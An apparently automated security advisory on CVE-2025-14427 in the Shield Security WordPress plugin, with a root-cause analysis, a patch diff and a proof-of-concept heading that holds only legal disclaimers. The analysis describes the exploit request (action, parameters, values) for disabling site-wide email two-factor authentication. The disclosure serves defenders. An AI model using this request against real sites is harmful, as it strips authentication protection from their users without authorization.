Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14427: Shield Security: Blocks Bots, Protects Users, and Prevents Security Breaches <= 21.0.9 – Missing Authorization to Authenticated (Subscriber+) Email MFA Update (wp-simple-firewall)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 21.0.9
Patched Version 21.0.10
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14427:
The vulnerability is a missing authorization flaw in the Shield Security WordPress plugin, affecting versions up to and including 21.0.9. It allows authenticated attackers with Subscriber-level access or higher to disable the global Email Two-Factor Authentication (2FA) setting for the entire site, thereby weakening the site’s security posture.

The root cause is the absence of a capability check on the `MfaEmailDisable` AJAX action handler. The vulnerable code path is in the plugin’s Action Router system. The `MfaEmailDisable` action, which extends the `MfaUserConfigBase` class, did not implement proper authorization controls. The `MfaUserConfigBase` class uses the `ActiveWpUserConsumer` trait, which in the vulnerable version returned a user based on the `active_wp_user` parameter from the request data. This allowed an attacker to submit a request with any user ID, bypassing the intended check for the currently authenticated user.

The exploitation method involves an authenticated attacker sending a POST request to the WordPress admin AJAX endpoint (`/wp-admin/admin-ajax.php`) with the `action` parameter set to `MfaEmailDisable`. The attacker must include a valid WordPress nonce, which is obtainable by any authenticated user. The request payload would contain the `active_wp_user` parameter set to an arbitrary user ID, and the `mfa_email_disable` parameter set to `Y` to trigger the disabling of global Email 2FA. The attack vector is limited to authenticated users, but requires only Subscriber-level permissions.

The patch introduces a new `MfaLoginFlowBase` abstract class and a `LoginWpUserConsumer` trait to properly secure MFA actions during the login flow. The `MfaEmailDisable` action was moved to extend `MfaLoginFlowBase`. The critical fix is in the `LoginWpUserConsumer` trait’s `getLoginWPUser()` method, which now validates a `login_nonce` parameter tied to the target user. This nonce is generated only after successful password entry during login, preventing attackers from targeting arbitrary users. The `ActiveWpUserConsumer` trait was also hardened to always return the currently logged-in user, ignoring any user ID provided in the request data.

Successful exploitation allows an attacker with minimal privileges to disable the site-wide Email 2FA enforcement. This weakens the authentication security for all users, potentially facilitating account takeover if other authentication factors are compromised. The impact is a reduction in the overall security posture of the WordPress installation, though it does not directly lead to privilege escalation or remote code execution.

Differential between vulnerable and patched code

Code Diff
--- a/wp-simple-firewall/icwp-wpsf.php
+++ b/wp-simple-firewall/icwp-wpsf.php
@@ -3,7 +3,7 @@
  * Plugin Name: Shield Security
  * Plugin URI: https://clk.shldscrty.com/2f
  * Description: Powerful, Easy-To-Use #1 Rated WordPress Security System
- * Version: 21.0.9
+ * Version: 21.0.10
  * Text Domain: wp-simple-firewall
  * Domain Path: /languages
  * Author: Shield Security
--- a/wp-simple-firewall/src/lib/functions/functions.php
+++ b/wp-simple-firewall/src/lib/functions/functions.php
@@ -1,39 +1,39 @@
-<?php declare( strict_types=1 );
-
-use FernleafSystemsWordpressPluginShieldFunctions;
-
-if ( function_exists( 'shield_security_get_plugin' ) ) {
-	return;
-}
-
-function shield_security_get_plugin() :ICWP_WPSF_Shield_Security {
-	return Functionsget_plugin();
-}
-
-function shield_get_visitor_scores( $IP = null ) :array {
-	return Functionsget_visitor_scores( $IP );
-}
-
-function shield_get_visitor_score( $IP = null ) :int {
-	return Functionsget_visitor_score( $IP );
-}
-
-/**
- * @param null $IP - defaults to current visitor
- * @throws Exception
- */
-function shield_test_ip_is_bot( $IP = null ) :bool {
-	return Functionstest_ip_is_bot( $IP );
-}
-
-function shield_get_ip_state( string $ip = '' ) :string {
-	return Functionsget_ip_state( $ip );
-}
-
-function shield_fire_event( string $event ) {
-	Functionsfire_event( $event );
-}
-
-function shield_start_scans( array $scans ) {
-	Functionsstart_scans( $scans );
+<?php declare( strict_types=1 );
+
+use FernleafSystemsWordpressPluginShieldFunctions;
+
+if ( function_exists( 'shield_security_get_plugin' ) ) {
+	return;
+}
+
+function shield_security_get_plugin() :ICWP_WPSF_Shield_Security {
+	return Functionsget_plugin();
+}
+
+function shield_get_visitor_scores( $IP = null ) :array {
+	return Functionsget_visitor_scores( $IP );
+}
+
+function shield_get_visitor_score( $IP = null ) :int {
+	return Functionsget_visitor_score( $IP );
+}
+
+/**
+ * @param null $IP - defaults to current visitor
+ * @throws Exception
+ */
+function shield_test_ip_is_bot( $IP = null ) :bool {
+	return Functionstest_ip_is_bot( $IP );
+}
+
+function shield_get_ip_state( string $ip = '' ) :string {
+	return Functionsget_ip_state( $ip );
+}
+
+function shield_fire_event( string $event ) {
+	Functionsfire_event( $event );
+}
+
+function shield_start_scans( array $scans ) {
+	Functionsstart_scans( $scans );
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BaseAction.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BaseAction.php
@@ -154,14 +154,10 @@
 	 * @return self For method chaining
 	 */
 	public function setActionOverride( string $overrideKey, $value ) :self {
-		// Initialize action_overrides array if it doesn't exist
-		if ( !isset( $this->action_data[ 'action_overrides' ] ) ) {
-			$this->action_data[ 'action_overrides' ] = [];
-		}
-
-		// Set the override value
-		$this->action_data[ 'action_overrides' ][ $overrideKey ] = $value;
-
+		$this->action_data[ 'action_overrides' ] = array_merge(
+			is_array( $this->action_data[ 'action_overrides' ] ?? null ) ? $this->action_data[ 'action_overrides' ] : [],
+			[ $overrideKey => $value ]
+		);
 		return $this;
 	}

--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaLoginFlowBase.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaLoginFlowBase.php
@@ -0,0 +1,20 @@
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
+
+use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAuthNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsLoginWpUserConsumer;
+
+/**
+ * Base class for MFA actions that run during the login flow.
+ *
+ * These actions:
+ * - Do NOT require authentication (user is in the middle of logging in)
+ * - REQUIRE a valid login_nonce tied to the target user
+ * - Use login_wp_user parameter with login_nonce validation
+ */
+abstract class MfaLoginFlowBase extends BaseAction {
+
+	use AuthNotRequired;
+	use LoginWpUserConsumer;
+}
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationStart.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationStart.php
@@ -2,27 +2,22 @@

 namespace FernleafSystemsWordpressPluginShieldActionRouterActions;

-use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAuthNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressPluginShieldModulesLoginGuardLibTwoFactorProviderPasskey;

-class MfaPasskeyAuthenticationStart extends MfaUserConfigBase {
-
-	use AuthNotRequired;
+class MfaPasskeyAuthenticationStart extends MfaLoginFlowBase {

 	public const SLUG = 'mfa_passkey_auth_start';

 	protected function exec() {
-
 		$response = [
 			'success'     => false,
 			'page_reload' => false
 		];

-		$user = $this->getActiveWPUser();
-		if ( empty( $user ) ) {
-			$response[ 'message' ] = __( 'User must be logged-in.', 'wp-simple-firewall' );
-		}
-		else {
+		try {
+			$user = $this->getLoginWPUser();
+
 			$available = self::con()->comps->mfa->getProvidersAvailableToUser( $user );
 			/** @var Passkey $provider */
 			$provider = $available[ Passkey::ProviderSlug() ] ?? null;
@@ -31,19 +26,27 @@
 				$response[ 'message' ] = __( "Passkeys aren't available for this user.", 'wp-simple-firewall' );
 			}
 			else {
-				try {
-					$response = [
-						'success'     => true,
-						'challenge'   => $provider->startNewAuth(),
-						'page_reload' => false
-					];
-				}
-				catch ( Exception $e ) {
-					$response[ 'message' ] = __( "There was a problem preparing the Passkey Auth Challenge.", 'wp-simple-firewall' );
-				}
+				$response = [
+					'success'     => true,
+					'challenge'   => $provider->startNewAuth(),
+					'page_reload' => false
+				];
 			}
 		}
+		catch ( ActionException $e ) {
+			$response[ 'message' ] = $e->getMessage();
+		}
+		catch ( Exception $e ) {
+			$response[ 'message' ] = __( 'There was a problem preparing the Passkey Auth Challenge.', 'wp-simple-firewall' );
+		}

 		$this->response()->action_response_data = $response;
 	}
+
+	protected function getRequiredDataKeys() :array {
+		return [
+			'login_wp_user',
+			'login_nonce',
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationVerify.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationVerify.php
@@ -8,14 +8,14 @@
 /**
  * Not currently used
  */
-class MfaPasskeyAuthenticationVerify extends MfaUserConfigBase {
+class MfaPasskeyAuthenticationVerify extends MfaLoginFlowBase {

 	use AuthNotRequired;

 	public const SLUG = 'mfa_passkey_auth_verify';

 	protected function exec() {
-		$available = self::con()->comps->mfa->getProvidersAvailableToUser( $this->getActiveWPUser() );
+		$available = self::con()->comps->mfa->getProvidersAvailableToUser( $this->getLoginWPUser() );
 		/** @var Passkey $provider */
 		$provider = $available[ Passkey::ProviderSlug() ];

--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/IpAnalyse/Base.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/IpAnalyse/Base.php
@@ -9,9 +9,7 @@
 class Base extends RenderBaseRender {

 	protected function getRequiredDataKeys() :array {
-		return [
-			'ip'
-		];
+		return [ 'ip' ];
 	}

 	protected function getTimeAgo( int $ts ) :string {
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/BaseComponent.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/BaseComponent.php
@@ -0,0 +1,17 @@
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansItemAnalysis;
+
+use FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansBaseScans;
+use FernleafSystemsWordpressPluginShieldScansAfsResultItem;
+
+abstract class BaseComponent extends BaseScans {
+
+	protected function getScanItem() :ResultItem {
+		return $this->action_data[ 'scan_item' ];
+	}
+
+	protected function getRequiredDataKeys() :array {
+		return [ 'scan_item' ];
+	}
+}
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Container.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Container.php
@@ -2,16 +2,31 @@

 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansItemAnalysis;

+use FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansBaseScans;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
+use FernleafSystemsWordpressPluginShieldModulesHackGuardScanResultsRetrieveRetrieveItems;
+use FernleafSystemsWordpressPluginShieldScansAfsResultItem;
 use FernleafSystemsWordpressServicesServices;

-class Container extends Base {
+class Container extends BaseScans {

 	public const SLUG = 'scanitemanalysis_container';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/modal_content.twig';

 	protected function getRenderData() :array {
 		$con = self::con();
-		$item = $this->getScanItem();
+		try {
+			/** @var ResultItem $item */
+			$item = ( new RetrieveItems() )->byID( (int)$this->action_data[ 'rid' ] );
+		}
+		catch ( Exception $e ) {
+			throw new ActionException( 'Not a valid scan item record' );
+		}
+
+		$fragment = $item->path_fragment;
+		if ( empty( $fragment ) ) {
+			throw new ActionException( 'Non-file scan items are not supported yet.' );
+		}

 		$fullPath = empty( $item->path_full ) ? path_join( ABSPATH, $item->path_fragment ) : $item->path_full;
 		return [
@@ -55,4 +70,10 @@
 			],
 		];
 	}
+
+	protected function getRequiredDataKeys() :array {
+		return [
+			'rid'
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Content.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Content.php
@@ -6,7 +6,7 @@
 use FernleafSystemsWordpressServicesServices;
 use FernleafSystemsWordpressServicesUtilitiesFileConvertLineEndings;

-class Content extends Base {
+class Content extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_content';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_content.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Diff.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Diff.php
@@ -8,7 +8,7 @@
 use FernleafSystemsWordpressServicesUtilitiesIntegrationsWpHashesUtilDiff as DiffUtil;
 use FernleafSystemsWordpressServicesUtilitiesWpOrg;

-class Diff extends Base {
+class Diff extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_diff';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_diff.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/History.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/History.php
@@ -5,7 +5,7 @@
 use FernleafSystemsWordpressPluginShieldModulesHackGuardScanResultsRetrieveRetrieveItems;
 use FernleafSystemsWordpressServicesServices;

-class History extends Base {
+class History extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_history';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_history.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Info.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Info.php
@@ -8,7 +8,7 @@
 use FernleafSystemsWordpressServicesServices;
 use FernleafSystemsWordpressServicesUtilitiesWpOrgWpRepo;

-class Info extends Base {
+class Info extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_info';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_info.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Malai.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Malai.php
@@ -6,7 +6,7 @@
 use FernleafSystemsWordpressServicesServices;
 use FernleafSystemsWordpressServicesUtilitiesFilePaths;

-class Malai extends Base {
+class Malai extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_malai';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_malai.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Traffic/TrafficLiveLogs.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Traffic/TrafficLiveLogs.php
@@ -12,7 +12,7 @@

 	protected function getRenderData() :array {
 		$logLoader = new LoadRequestLogs();
-		$logLoader->limit = (int)$this->action_data[ 'limit' ] ?? 200;
+		$logLoader->limit = (int)( $this->action_data[ 'limit' ] ?? 200 );
 		$logLoader->offset = 0;
 		$logLoader->order_by = 'id';
 		$logLoader->order_dir = 'DESC';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigEdit.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigEdit.php
@@ -3,6 +3,7 @@
 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsUserMfa;

 use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsSecurityAdminNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressServicesServices;

 class ConfigEdit extends UserMfaBase {
@@ -15,7 +16,15 @@

 	protected function getRenderData() :array {
 		$con = self::con();
-		$user = Services::WpUsers()->getUserById( (int)$this->action_data[ 'user_id' ] );
+
+		$WPU = Services::WpUsers();
+		$currentUser = $WPU->getCurrentWpUser();
+		$requestedUserID = (int)( $this->action_data[ 'user_id' ] ?? 0 );
+		if ( $requestedUserID > 0 && $currentUser->ID !== $requestedUserID && !$WPU->isUserAdmin( $currentUser ) ) {
+			throw new ActionException( __( 'Invalid profile request.', 'wp-simple-firewall' ) );
+		}
+
+		$user = $requestedUserID > 0 ? $WPU->getUserById( $requestedUserID ) : $currentUser;

 		$providers = array_map(
 			fn( $provider ) => $provider->getProviderName(),
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigForm.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigForm.php
@@ -3,6 +3,7 @@
 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsUserMfa;

 use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAnyUserAuthRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressServicesServices;

 class ConfigForm extends UserMfaBase {
@@ -22,7 +23,13 @@

 	protected function getRenderData() :array {
 		$WPU = Services::WpUsers();
-		$user = $WPU->getUserById( (int)$this->action_data[ 'user_id' ] ?? $WPU->getCurrentWpUserId() );
+		$currentUser = $WPU->getCurrentWpUser();
+		$requestedUserID = (int)( $this->action_data[ 'user_id' ] ?? 0 );
+		if ( $requestedUserID > 0 && $currentUser->ID !== $requestedUserID && !self::con()->this_req->is_security_admin ) {
+			throw new ActionException( __( 'Invalid profile request.', 'wp-simple-firewall' ) );
+		}
+
+		$user = $requestedUserID > 0 ? $WPU->getUserById( $requestedUserID ) : $currentUser;

 		$providerRenders = array_map(
 			fn( $provider ) => $provider->renderUserProfileConfigFormField(),
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Users/ProfileSuspend.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Users/ProfileSuspend.php
@@ -3,6 +3,7 @@
 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsUsers;

 use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsSecurityAdminNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressServicesServices;

 /**
@@ -16,9 +17,17 @@
 	public const TEMPLATE = '/admin/user/profile/suspend.twig';

 	protected function getRenderData() :array {
+		$con = self::con();
+
 		$WPU = Services::WpUsers();
-		$editUser = $WPU->getUserById( $this->action_data[ 'user_id' ] );
-		$meta = self::con()->user_metas->for( $editUser );
+		$currentUser = $WPU->getCurrentWpUser();
+		$requestedUserID = (int)( $this->action_data[ 'user_id' ] ?? 0 );
+		if ( $requestedUserID > 0 && $currentUser->ID !== $requestedUserID && !$WPU->isUserAdmin( $currentUser ) ) {
+			throw new ActionException( __( 'Invalid profile request.', 'wp-simple-firewall' ) );
+		}
+
+		$editUser = $requestedUserID > 0 ? $WPU->getUserById( $requestedUserID ) : $currentUser;
+		$meta = $con->user_metas->for( $editUser );
 		return [
 			'strings' => [
 				'title'       => __( 'Suspend Account', 'wp-simple-firewall' ),
@@ -29,7 +38,7 @@
 					Services::WpGeneral()->getTimeStringForDisplay( $meta->record->hard_suspended_at ) ),
 			],
 			'flags'   => [
-				'can_suspend'  => self::con()->comps->user_suspend->canManuallySuspend()
+				'can_suspend'  => $con->comps->user_suspend->canManuallySuspend()
 								  || ( !$WPU->isUserAdmin( $editUser ) && $WPU->isUserAdmin() ),
 				'is_suspended' => $meta->record->hard_suspended_at > 0
 			],
@@ -40,8 +49,6 @@
 	}

 	protected function getRequiredDataKeys() :array {
-		return [
-			'user_id'
-		];
+		return [ 'user_id' ];
 	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/FullPage/Mfa/BaseLoginIntentPage.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/FullPage/Mfa/BaseLoginIntentPage.php
@@ -16,7 +16,9 @@
 	use ActionsTraitsAuthNotRequired;

 	public function getLoginIntentJavascript() :array {
-		$userID = (int)$this->action_data[ 'user_id' ];
+		$userID = (int)$this->action_data[ 'user_id' ] ?? 0;
+		$loginNonce = (string)$this->action_data[ 'plain_login_nonce' ] ?? '';
+
 		$prov = self::con()->comps->mfa->getProvidersActiveForUser(
 			Services::WpUsers()->getUserById( $userID )
 		);
@@ -24,11 +26,12 @@
 		return [
 			'ajax'  => [
 				'passkey_auth_start' => ActionData::Build( MfaPasskeyAuthenticationStart::class, true, [
-					'active_wp_user' => $userID,
+					'login_wp_user' => $userID,
+					'login_nonce'   => $loginNonce,
 				] ),
 				'email_code_send'    => ActionData::Build( MfaEmailSendIntent::class, true, [
 					'wp_user_id'  => $userID,
-					'login_nonce' => $this->action_data[ 'plain_login_nonce' ],
+					'login_nonce' => $loginNonce,
 					'redirect_to' => esc_url_raw( $this->action_data[ 'redirect_to' ] ?? '' ),
 				] ),
 			],
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/ActiveWpUserConsumer.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/ActiveWpUserConsumer.php
@@ -4,11 +4,17 @@

 use FernleafSystemsWordpressServicesServices;

+/**
+ * Trait for actions that operate on the current authenticated user's profile.
+ *
+ * SECURITY: This trait always returns the current logged-in user.
+ * For login flow actions (unauthenticated), use LoginWpUserConsumer instead.
+ */
 trait ActiveWpUserConsumer {

 	public function getActiveWPUser() :?WP_User {
-		$user = Services::WpUsers()->getUserById( (int)$this->action_data[ 'active_wp_user' ] ?? null );
-		return $user instanceof WP_User ? $user : Services::WpUsers()->getCurrentWpUser();
+		$user = Services::WpUsers()->getCurrentWpUser();
+		return $user instanceof WP_User ? $user : null;
 	}

 	public function hasActiveWPUser() :bool {
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/LoginWpUserConsumer.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/LoginWpUserConsumer.php
@@ -0,0 +1,51 @@
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActionsTraits;
+
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
+use FernleafSystemsWordpressServicesServices;
+
+/**
+ * Trait for actions that operate during the login flow (user NOT authenticated).
+ *
+ * SECURITY: This trait requires a valid login_nonce to identify the user.
+ * The login_nonce is created when the user successfully enters their password
+ * and is tied to their user ID. This prevents attackers from targeting
+ * arbitrary users during the login flow.
+ */
+trait LoginWpUserConsumer {
+
+	/**
+	 * @throws ActionException
+	 */
+	public function getLoginWPUser() :WP_User {
+		$userID = (int)$this->action_data[ 'login_wp_user' ] ?? 0;
+		$loginNonce = (string)$this->action_data[ 'login_nonce' ] ?? '';
+
+		if ( $userID < 1 || empty( $loginNonce ) ) {
+			throw new ActionException( __( 'Invalid login session.', 'wp-simple-firewall' ) );
+		}
+
+		$user = Services::WpUsers()->getUserById( $userID );
+		if ( !$user instanceof WP_User ) {
+			throw new ActionException( __( 'User not found.', 'wp-simple-firewall' ) );
+		}
+
+		// Validate the login_nonce belongs to this user
+		if ( !self::con()->comps->mfa->verifyLoginNonce( $user, $loginNonce ) ) {
+			throw new ActionException( __( 'Invalid or expired login session.', 'wp-simple-firewall' ) );
+		}
+
+		return $user;
+	}
+
+	public function hasValidLoginSession() :bool {
+		try {
+			$this->getLoginWPUser();
+			return true;
+		}
+		catch ( ActionException $e ) {
+			return false;
+		}
+	}
+}
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Constants.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Constants.php
@@ -106,7 +106,6 @@
 		ActionsPluginSetOpt::class,
 		ActionsToolPurgeProviderIPs::class,
 		ActionsTrafficLogTableAction::class,
-		ActionsUserSessionDelete::class,

 		ActionsDebugSimplePluginTests::class,
 		ActionsFullPageDisplayDisplayBlockPage::class,
--- a/wp-simple-firewall/src/lib/src/Modules/IPs/Lib/AutoUnblock/AutoUnblockMagicLink.php
+++ b/wp-simple-firewall/src/lib/src/Modules/IPs/Lib/AutoUnblock/AutoUnblockMagicLink.php
@@ -35,7 +35,7 @@
 			EmailVO::Factory(
 				$user->user_email,
 				__( 'Automatic IP Unblock Request', 'wp-simple-firewall' ),
-				$con->action_router->render( UnblockMagicLink::SLUG, [
+				$con->action_router->render( UnblockMagicLink::class, [
 					'home_url' => Services::WpGeneral()->getHomeUrl(),
 					'ip'       => $con->this_req->ip,
 					'user_id'  => $user->ID,
--- a/wp-simple-firewall/src/lib/src/Modules/Integrations/Lib/MainWP/Server/ExtensionSettingsPage.php
+++ b/wp-simple-firewall/src/lib/src/Modules/Integrations/Lib/MainWP/Server/ExtensionSettingsPage.php
@@ -28,14 +28,12 @@
 				'handles' => [
 					'mainwp_server',
 				],
-				'data'    => function () {
-					return [
-						'ajax' => [
-							'site_action' => ActionData::Build( MainWPServerActionsMainwpServerClientActionHandler::class ),
-							'ext_table'   => ActionData::Build( MainWPMainwpExtensionTableSites::class ),
-						],
-					];
-				},
+				'data'    => fn() => [
+					'ajax' => [
+						'site_action' => ActionData::Build( MainWPServerActionsMainwpServerClientActionHandler::class ),
+						'ext_table'   => ActionData::Build( MainWPMainwpExtensionTableSites::class ),
+					],
+				],
 			];
 			return $components;
 		} );
--- a/wp-simple-firewall/src/lib/src/Modules/LoginGuard/Lib/TwoFactor/MfaProfilesController.php
+++ b/wp-simple-firewall/src/lib/src/Modules/LoginGuard/Lib/TwoFactor/MfaProfilesController.php
@@ -65,7 +65,7 @@
 		add_action( 'edit_user_profile', function ( $user ) {
 			if ( $user instanceof WP_User ) {
 				$this->rendered = true;
-				echo self::con()->action_router->render( ActionsRenderComponentsUserMfaConfigEdit::SLUG, [
+				echo self::con()->action_router->render( ActionsRenderComponentsUserMfaConfigEdit::class, [
 					'user_id' => $user->ID
 				] );
 			}
--- a/wp-simple-firewall/unsupported.php
+++ b/wp-simple-firewall/unsupported.php
@@ -1,32 +1,34 @@
-<?php
-
-add_action( 'admin_notices', 'icwp_wpsf_unsupported_php' );
-add_action( 'network_admin_notices', 'icwp_wpsf_unsupported_php' );
-
-function icwp_wpsf_unsupported_php() {
-	global $sIcwpWpsfPluginFile;
-	$text = array(
-		'Sorry, your website runs an incredibly old version of PHP that Shield Security no longer supports, as of Shield v9.0',
-		"Your PHP no longer gets upgrades and it's difficult to maintain code for.",
-		'We recommend that you contact your website hosting provider on how to upgrade to at least PHP 7.4'
-	);
-	echo sprintf(
-		'<div class="error"><h4>%s</h4><p>%s</p>' .
-		'<p><a href="%s" target="_blank" style="font-weight: bolder">%s</a> ' .
-		'/ <a href="%s">%s</a></p></div>',
-
-		sprintf( 'Shield Security Plugin - Unsupported PHP Version: %s', PHP_VERSION ),
-		implode( '<br/>', $text ),
-		'https://clk.shldscrty.com/dl',
-		'Click here for more info',
-		add_query_arg(
-			array(
-				'action'   => 'deactivate',
-				'plugin'   => urlencode( $sIcwpWpsfPluginFile ),
-				'_wpnonce' => wp_create_nonce( 'deactivate-plugin_'.$sIcwpWpsfPluginFile )
-			),
-			self_admin_url( 'plugins.php' )
-		),
-		'Or, deactivate the Shield Security plugin for now'
-	);
+<?php
+
+if ( !defined( 'ABSPATH' ) ) { exit(); }
+
+add_action( 'admin_notices', 'icwp_wpsf_unsupported_php' );
+add_action( 'network_admin_notices', 'icwp_wpsf_unsupported_php' );
+
+function icwp_wpsf_unsupported_php() {
+	global $sIcwpWpsfPluginFile;
+	$text = array(
+		'Sorry, your website runs an incredibly old version of PHP that Shield Security no longer supports, as of Shield v9.0',
+		"Your PHP no longer gets upgrades and it's difficult to maintain code for.",
+		'We recommend that you contact your website hosting provider on how to upgrade to at least PHP 7.4'
+	);
+	echo sprintf(
+		'<div class="error"><h4>%s</h4><p>%s</p>' .
+		'<p><a href="%s" target="_blank" style="font-weight: bolder">%s</a> ' .
+		'/ <a href="%s">%s</a></p></div>',
+
+		sprintf( 'Shield Security Plugin - Unsupported PHP Version: %s', PHP_VERSION ),
+		implode( '<br/>', $text ),
+		'https://clk.shldscrty.com/dl',
+		'Click here for more info',
+		add_query_arg(
+			array(
+				'action'   => 'deactivate',
+				'plugin'   => urlencode( $sIcwpWpsfPluginFile ),
+				'_wpnonce' => wp_create_nonce( 'deactivate-plugin_'.$sIcwpWpsfPluginFile )
+			),
+			self_admin_url( 'plugins.php' )
+		),
+		'Or, deactivate the Shield Security plugin for now'
+	);
 }
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
